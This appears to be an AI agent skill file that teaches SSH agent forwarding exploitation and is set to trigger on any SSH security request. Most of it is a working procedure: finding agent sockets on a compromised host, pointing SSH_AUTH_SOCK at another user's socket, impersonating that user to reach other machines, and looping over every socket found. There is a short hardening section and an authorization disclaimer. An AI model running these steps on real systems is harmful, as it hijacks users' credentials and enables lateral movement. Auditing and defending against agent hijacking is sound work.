| name | ssh-agent-forwarding-exploitation |
| description | How to identify and exploit SSH agent forwarding vulnerabilities for security auditing. Use this skill whenever you need to check for SSH agent forwarding misconfigurations, find exposed SSH agent sockets, understand agent hijacking risks, or audit SSH security. Trigger this when users mention SSH agent forwarding, SSH_AUTH_SOCK, agent hijacking, privilege escalation via SSH, or any SSH security auditing task. |
SSH Agent Forwarding Exploitation
A skill for identifying and understanding SSH agent forwarding vulnerabilities during security assessments.
What This Skill Does
This skill helps you:
- Identify SSH agent forwarding misconfigurations
- Locate exposed SSH agent sockets on a system
- Understand how agent hijacking works
- Audit SSH security configurations
- Test for privilege escalation via SSH agents
When to Use This Skill
Use this skill when:
- You discover
ForwardAgent yes in SSH configurations
- You need to find SSH agent sockets on a compromised system
- You're auditing SSH security for potential agent forwarding risks
- You want to understand how SSH agent hijacking works
- You're performing privilege escalation testing
Finding SSH Agent Sockets
Quick Socket Hunt
Run these commands to find exposed SSH agent sockets:
ls -la /run/user/*/ssh-* /tmp/ssh-* 2>/dev/null
find /run/user /tmp -type s -name 'agent.*' 2>/dev/null
find / -type s -name 'agent.*' 2>/dev/null | grep -E '(ssh|agent)'
What You're Looking For
SSH agent sockets typically appear as:
/tmp/ssh-XXXXXXXX/agent.PID
/run/user/UID/ssh-XXXXXXXX/agent.PID
- Unix domain sockets (type
s in ls -la output)
Understanding the Vulnerability
Why This Works
When ForwardAgent yes is set in SSH configuration:
- The agent socket is forwarded to the remote system
- SSH_AUTH_SOCK environment variable points to the forwarded socket
- Private keys remain in memory of the agent, unencrypted
- Any process with socket access can use the keys
The Risk
If you gain root access on a system with forwarded SSH agents:
- You can access any SSH connection made by users with agent forwarding
- You can impersonate users to other systems
- You can potentially extract private keys from agent memory
- This works even if the user doesn't know the key password (keys are in memory)
Exploitation Steps
Step 1: Check SSH Configuration
Look for agent forwarding in:
grep -i "forwardagent" /etc/ssh/ssh_config
grep -i "forwardagent" ~/.ssh/config
find /home -name "config" -path "*/.ssh/*" -exec grep -l "ForwardAgent yes" {} \;
Step 2: Find Agent Sockets
find /run/user /tmp -type s -name 'agent.*' 2>/dev/null
ls -la /tmp/ssh-*/agent.* 2>/dev/null
ls -la /run/user/*/ssh-*/agent.* 2>/dev/null
Step 3: Test Access
If you find an agent socket, test if you can use it:
export SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
ssh-add -l
ssh bob@boston
Step 4: Impersonate Users
To impersonate a user using their agent:
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
export SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
ssh bob@boston
Security Recommendations
For System Administrators
-
Disable agent forwarding by default
ForwardAgent no
-
Use specific host configurations
Host trusted-server
ForwardAgent yes
-
Monitor agent sockets
find /tmp /run/user -type s -name 'agent.*' -ls
-
Use key-based authentication with restrictions
from="trusted-host",command="/path/to/script" ssh-rsa ...
For Security Auditors
- Check all user SSH configs for ForwardAgent settings
- Look for agent sockets on compromised systems
- Test agent access if you have elevated privileges
- Document findings for remediation
Common Scenarios
Scenario 1: You're Root, User Has Forwarded Agent
find /run/user /tmp -type s -name 'agent.*' 2>/dev/null
SSH_AUTH_SOCK=/path/to/agent.socket ssh username@target
Scenario 2: Multiple Users, Multiple Agents
find /run/user /tmp -type s -name 'agent.*' -exec ls -la {} \; 2>/dev/null
for socket in $(find /run/user /tmp -type s -name 'agent.*' 2>/dev/null); do
echo "Testing: $socket"
SSH_AUTH_SOCK="$socket" ssh-add -l 2>/dev/null && echo "SUCCESS"
done
Scenario 3: Agent on Remote System
If you SSH to a remote system with agent forwarding:
env | grep SSH_AUTH_SOCK
ssh-add -l
Detection and Prevention
Detect Active Agent Forwarding
env | grep SSH_AUTH_SOCK
grep -r "ForwardAgent" ~/.ssh/ /etc/ssh/ 2>/dev/null
ps aux | grep ssh | grep -v grep
Prevent Agent Hijacking
- Don't use ForwardAgent unless absolutely necessary
- Use sshuttle or similar for network-level forwarding instead
- Set socket permissions carefully
- Use jump hosts with proper configuration
- Monitor for unauthorized agent access
References
Important Notes
- This skill is for security auditing and educational purposes only
- Always have proper authorization before testing SSH agent vulnerabilities
- Agent forwarding is convenient but risky - understand the tradeoffs
- Keys in agent memory are unencrypted - this is the core vulnerability
- Root access + agent forwarding = potential lateral movement
Quick Reference
find /run/user /tmp -type s -name 'agent.*' 2>/dev/null
grep -r "ForwardAgent" ~/.ssh/ /etc/ssh/ 2>/dev/null
SSH_AUTH_SOCK=/path/to/socket ssh-add -l
SSH_AUTH_SOCK=/path/to/socket ssh user@host
Remember: SSH agent forwarding is a powerful feature that can be exploited. Use this skill to understand the risks and secure your systems accordingly.